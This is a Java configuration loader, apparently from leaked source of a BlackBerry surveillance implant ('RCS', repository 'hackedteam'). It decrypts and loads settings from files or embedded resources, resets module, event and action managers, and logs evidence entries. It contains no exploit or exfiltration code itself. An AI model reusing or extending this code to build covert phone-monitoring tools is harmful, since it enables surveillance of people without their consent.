hackedteam/core-blackberry

//#preprocess
/* *************************************************
 * Copyright (c) 2010 - 2010
 * HT srl,   All rights reserved.
 * Project      : RCS, RCSBlackBerry_lib
 * File         : Conf.java
 * Created      : 26-mar-2010
 * *************************************************/

package blackberry.config;

import java.io.InputStream;

import blackberry.GeneralException;
import blackberry.Messages;
import blackberry.Status;
import blackberry.crypto.Encryption;
import blackberry.debug.Check;
import blackberry.debug.Debug;
import blackberry.debug.DebugLevel;
import blackberry.evidence.Evidence;
import blackberry.fs.AutoFile;
import blackberry.fs.Path;
import blackberry.manager.ActionManager;
import blackberry.manager.EventManager;
import blackberry.manager.ModuleManager;
import blackberry.utils.Utils;
import fake.InstanceConfigFake;

/**
 * The Class Conf. None of theese parameters changes runtime.
 */
public final class ConfLoader {

    public static final int LOADED_ERROR = -1;
    public static final int LOADED_NO = 0;
    public static final int LOADED_NEWCONF = 1;
    public static final int LOADED_ACTUAL = 2;
    public static final int LOADED_FAKECONF = 3;
    public static final int LOADED_RESOURCE = 4;

    /** The debug instance. */
    //#ifdef DEBUG
    private static Debug debug = new Debug("ConfLoader", DebugLevel.VERBOSE); //$NON-NLS-1$
    //#endif

    private Status status;

    private boolean haveJson;

    /**
     * Instantiates a new conf.
     */
    public ConfLoader() {
        status = Status.getInstance();
    }

    public int loadConf() throws GeneralException {
        status.clear();

        int ret = LOADED_NO;
        
        //#ifdef DEBUG
        debug.trace("load: " + Encryption.getKeys().log); //$NON-NLS-1$
        //#endif

        AutoFile file;

        file = new AutoFile(Path.conf(), Cfg.NEW_CONF);
        if (file.exists()) {
            //#ifdef DEBUG
            debug.info("Try: new config,  " + Path.conf()); //$NON-NLS-1$
            //#endif

            if (loadConfFile(file, true)) {
                //#ifdef DEBUG
                debug.info("loadConf, new config"); //$NON-NLS-1$
                //#endif
                file.rename(Cfg.ACTUAL_CONF, true);
                Evidence.info(Messages.getString("r.0")); //$NON-NLS-1$

                ret = LOADED_NEWCONF;
            } else {
                //#ifdef DEBUG
                debug.error("Reading new configuration"); //$NON-NLS-1$
                //#endif
                file.delete();
                Evidence.info(Messages.getString("r.1")); //$NON-NLS-1$

            }
        }
        if (ret == LOADED_NO) {
            file = new AutoFile(Path.conf(), Cfg.ACTUAL_CONF);
            if (file.exists()) {
                //#ifdef DEBUG
                debug.info("loadConf, actual conf");
                //#endif
                if (loadConfFile(file, true)) {
                    ret = LOADED_ACTUAL;
                } else {
                    Evidence.info(Messages.getString("r.2")); //$NON-NLS-1$
                }
            }
        }

        //#ifdef FAKECONF
        if (ret == LOADED_NO) {         
            debug.info("loadConf, try JSON embedded");
            
            cleanConfiguration();
            String json = InstanceConfigFake.getJson();
            // Initialize the configuration object
            Configuration conf = new Configuration(json);
            // Load the configuration
            if (conf.loadConfiguration(true)) {
                ret = LOADED_FAKECONF;
            }
            //debug.trace("load Info: Resource json loaded: " + loaded); //$NON-NLS-1$            
        }
        //#endif

        if (ret == LOADED_NO) {
            //#ifdef DEBUG
            debug.info("loadConf, reading conf from resources"); //$NON-NLS-1$
            //#endif

            Configuration conf = null;

            InputStream inputStream = InstanceConfig.getConfig();
            if (inputStream != null) {
                //#ifdef DBC
                Check.asserts(inputStream != null, "Resource config"); //$NON-NLS-1$
                //#endif            
                cleanConfiguration();

                byte[] resource = Utils.inputStreamToBuffer(inputStream); // config.bin
                int len = Utils.byteArrayToInt(resource, 0);

                //#ifdef DEBUG
                debug.trace("loadConf, len: " + len);
                //debug.trace(" conf: " + Utils.byteArrayToHex(resource));
                //#endif

                byte[] cyphered = new byte[len];
                Utils.copy(cyphered, 0, resource, 4, len);
                // Initialize the configuration object
                conf = new Configuration(cyphered, len, 0);

                //#ifdef DEBUG
                debug.trace("loadConf: " + conf.getJson());
                //#endif

                // Load the configuration
                if (conf.loadConfiguration(true)) {
                    ret = LOADED_RESOURCE;
                }

                //#ifdef DEBUG
                debug.trace("load Info: Resource file loaded"); //$NON-NLS-1$
                //#endif        

            } else {
                //#ifdef DEBUG
                debug.error("Cannot read config from resources"); //$NON-NLS-1$
                //#endif
            }
        }
        return ret;
    }

    /**
     * Clean configuration and status objects.
     */
    public void cleanConfiguration() {
        // Clean an eventual old initialization
        status.clear();
        ModuleManager.getInstance().clear();
        EventManager.getInstance().clear();
        ActionManager.getInstance().clear();
    }

    private boolean loadConfFile(byte[] resource, boolean instantiate) {
        boolean loaded = false;

        if (resource != null && resource.length > 0) {
            // Initialize the configuration object
            Configuration conf = new Configuration(resource, resource.length, 0);
            if (conf.isDecrypted()) {

                if (instantiate) {
                    cleanConfiguration();
                }

                // Load the configuration
                loaded = conf.loadConfiguration(instantiate);
                //#ifdef DEBUG
                debug.trace("loadConfFile Conf file loaded: " + loaded); //$NON-NLS-1$
                //#endif
            }
        } else {
            //#ifdef DEBUG
            debug.trace("loadConfFile: empty resource"); //$NON-NLS-1$
            //#endif
        }

        return loaded;

    }

    public boolean loadConfFile(AutoFile file, boolean instantiate) {
        boolean loaded = false;

        //#ifdef DEBUG
        debug.trace("loadConfFile: " + file); //$NON-NLS-1$
        //#endif

        final byte[] resource = file.read();
        return loadConfFile(resource, instantiate);

    }

    public boolean verifyNewConf() {
        //#ifdef DEBUG
        debug.trace("verifyNewConf"); //$NON-NLS-1$
        //#endif
        AutoFile file = new AutoFile(Path.conf(), Cfg.NEW_CONF);
        boolean loaded = false;
        if (file.exists()) {
            loaded = loadConfFile(file, false);
        }

        return loaded;
    }

}